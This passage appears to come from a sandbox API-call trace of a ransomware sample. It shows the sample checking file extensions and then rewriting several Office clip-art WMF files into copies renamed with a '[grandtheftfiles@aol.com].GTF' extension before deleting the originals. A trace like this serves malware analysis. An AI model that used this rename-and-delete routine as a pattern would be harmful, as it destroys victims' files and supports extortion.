	[0086.886] lstrlenW (lpString=".xlsx") returned 5
	[0086.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.886] lstrlenW (lpString=".ppt") returned 4
	[0086.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.886] lstrlenW (lpString=".zip") returned 4
	[0086.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.886] lstrlenW (lpString=".rar") returned 4
	[0086.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.886] lstrlenW (lpString=".bz2") returned 4
	[0086.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.886] lstrlenW (lpString=".7z") returned 3
	[0086.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.886] lstrlenW (lpString=".dbf") returned 4
	[0086.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.886] lstrlenW (lpString=".1cd") returned 4
	[0086.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.886] lstrlenW (lpString=".jpg") returned 4
	[0086.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.887] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.887] lstrlenW (lpString="EN00202_.WMF") returned 12
	[0086.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.887] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6938) returned 1
	[0086.887] CloseHandle (hObject=0x368) returned 1
	[0086.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220
	[0086.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.887] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.887] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.888] GetLastError () returned 0x0
	[0086.888] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1b1a, lpOverlapped=0x0) returned 1
	[0086.896] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0086.900] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.900] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.900] SetEndOfFile (hFile=0x390) returned 1
	[0086.900] CloseHandle (hObject=0x390) returned 1
	[0086.900] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.900] SetEndOfFile (hFile=0x368) returned 1
	[0086.901] CloseHandle (hObject=0x368) returned 1
	[0086.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1
	[0086.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.901] lstrlenW (lpString=".doc") returned 4
	[0086.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.901] lstrlenW (lpString=".docx") returned 5
	[0086.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.901] lstrlenW (lpString=".pdf") returned 4
	[0086.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.901] lstrlenW (lpString=".xls") returned 4
	[0086.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.902] lstrlenW (lpString=".xlsx") returned 5
	[0086.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.902] lstrlenW (lpString=".ppt") returned 4
	[0086.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.902] lstrlenW (lpString=".zip") returned 4
	[0086.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.902] lstrlenW (lpString=".rar") returned 4
	[0086.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString=".bz2") returned 4
	[0086.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString=".7z") returned 3
	[0086.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.902] lstrlenW (lpString=".dbf") returned 4
	[0086.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.902] lstrlenW (lpString=".1cd") returned 4
	[0086.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.902] lstrlenW (lpString=".jpg") returned 4
	[0086.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.902] lstrlenW (lpString=".doc") returned 4
	[0086.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString=".docx") returned 5
	[0086.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.902] lstrlenW (lpString=".pdf") returned 4
	[0086.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.902] lstrlenW (lpString=".xls") returned 4
	[0086.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.902] lstrlenW (lpString=".xlsx") returned 5
	[0086.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.903] lstrlenW (lpString=".ppt") returned 4
	[0086.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.903] lstrlenW (lpString=".zip") returned 4
	[0086.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.903] lstrlenW (lpString=".rar") returned 4
	[0086.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.903] lstrlenW (lpString=".bz2") returned 4
	[0086.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.903] lstrlenW (lpString=".7z") returned 3
	[0086.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.903] lstrlenW (lpString=".dbf") returned 4
	[0086.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.903] lstrlenW (lpString=".1cd") returned 4
	[0086.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0086.903] lstrlenW (lpString=".jpg") returned 4
	[0086.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.903] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.903] lstrlenW (lpString="EN00242_.WMF") returned 12
	[0086.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.903] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6780) returned 1
	[0086.904] CloseHandle (hObject=0x368) returned 1
	[0086.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220
	[0086.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.904] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.904] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.904] GetLastError () returned 0x0
	[0086.904] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1a7c, lpOverlapped=0x0) returned 1
	[0086.913] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1a80, lpOverlapped=0x0) returned 1
	[0086.914] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.914] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.914] SetEndOfFile (hFile=0x390) returned 1
	[0086.914] CloseHandle (hObject=0x390) returned 1
	[0086.915] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.915] SetEndOfFile (hFile=0x368) returned 1
	[0086.915] CloseHandle (hObject=0x368) returned 1
	[0086.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1
	[0086.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.916] lstrlenW (lpString=".doc") returned 4
	[0086.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.916] lstrlenW (lpString=".docx") returned 5
	[0086.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.916] lstrlenW (lpString=".pdf") returned 4
	[0086.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.916] lstrlenW (lpString=".xls") returned 4
	[0086.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.916] lstrlenW (lpString=".xlsx") returned 5
	[0086.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.916] lstrlenW (lpString=".ppt") returned 4
	[0086.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.916] lstrlenW (lpString=".zip") returned 4
	[0086.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.916] lstrlenW (lpString=".rar") returned 4
	[0086.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.916] lstrlenW (lpString=".bz2") returned 4
	[0086.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.916] lstrlenW (lpString=".7z") returned 3
	[0086.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.916] lstrlenW (lpString=".dbf") returned 4
	[0086.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.917] lstrlenW (lpString=".1cd") returned 4
	[0086.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.917] lstrlenW (lpString=".jpg") returned 4
	[0086.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.917] lstrlenW (lpString=".doc") returned 4
	[0086.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString=".docx") returned 5
	[0086.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.917] lstrlenW (lpString=".pdf") returned 4
	[0086.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString=".xls") returned 4
	[0086.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.917] lstrlenW (lpString=".xlsx") returned 5
	[0086.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.917] lstrlenW (lpString=".ppt") returned 4
	[0086.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.917] lstrlenW (lpString=".zip") returned 4
	[0086.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.917] lstrlenW (lpString=".rar") returned 4
	[0086.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString=".bz2") returned 4
	[0086.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString=".7z") returned 3
	[0086.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.917] lstrlenW (lpString=".dbf") returned 4
	[0086.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.918] lstrlenW (lpString=".1cd") returned 4
	[0086.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0086.918] lstrlenW (lpString=".jpg") returned 4
	[0086.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.918] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.918] lstrlenW (lpString="EN00320_.WMF") returned 12
	[0086.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.924] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=736) returned 1
	[0086.924] CloseHandle (hObject=0x378) returned 1
	[0086.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220
	[0086.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.924] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.924] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.925] GetLastError () returned 0x0
	[0086.925] ReadFile (in: hFile=0x378, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x2e0, lpOverlapped=0x0) returned 1
	[0086.928] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2f0, lpOverlapped=0x0) returned 1
	[0086.929] ReadFile (in: hFile=0x378, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.929] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.929] SetEndOfFile (hFile=0x35c) returned 1
	[0086.930] CloseHandle (hObject=0x35c) returned 1
	[0086.930] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.930] SetEndOfFile (hFile=0x378) returned 1
	[0086.930] CloseHandle (hObject=0x378) returned 1
	[0086.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1
	[0086.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.931] lstrlenW (lpString=".doc") returned 4
	[0086.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.931] lstrlenW (lpString=".docx") returned 5
	[0086.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.931] lstrlenW (lpString=".pdf") returned 4
	[0086.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.931] lstrlenW (lpString=".xls") returned 4
	[0086.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.931] lstrlenW (lpString=".xlsx") returned 5
	[0086.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.931] lstrlenW (lpString=".ppt") returned 4
	[0086.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.931] lstrlenW (lpString=".zip") returned 4
	[0086.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.931] lstrlenW (lpString=".rar") returned 4
	[0086.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.931] lstrlenW (lpString=".bz2") returned 4
	[0086.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.931] lstrlenW (lpString=".7z") returned 3
	[0086.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.932] lstrlenW (lpString=".dbf") returned 4
	[0086.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.932] lstrlenW (lpString=".1cd") returned 4
	[0086.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.932] lstrlenW (lpString=".jpg") returned 4
	[0086.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.932] lstrlenW (lpString=".doc") returned 4
	[0086.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString=".docx") returned 5
	[0086.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.932] lstrlenW (lpString=".pdf") returned 4
	[0086.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.932] lstrlenW (lpString=".xls") returned 4
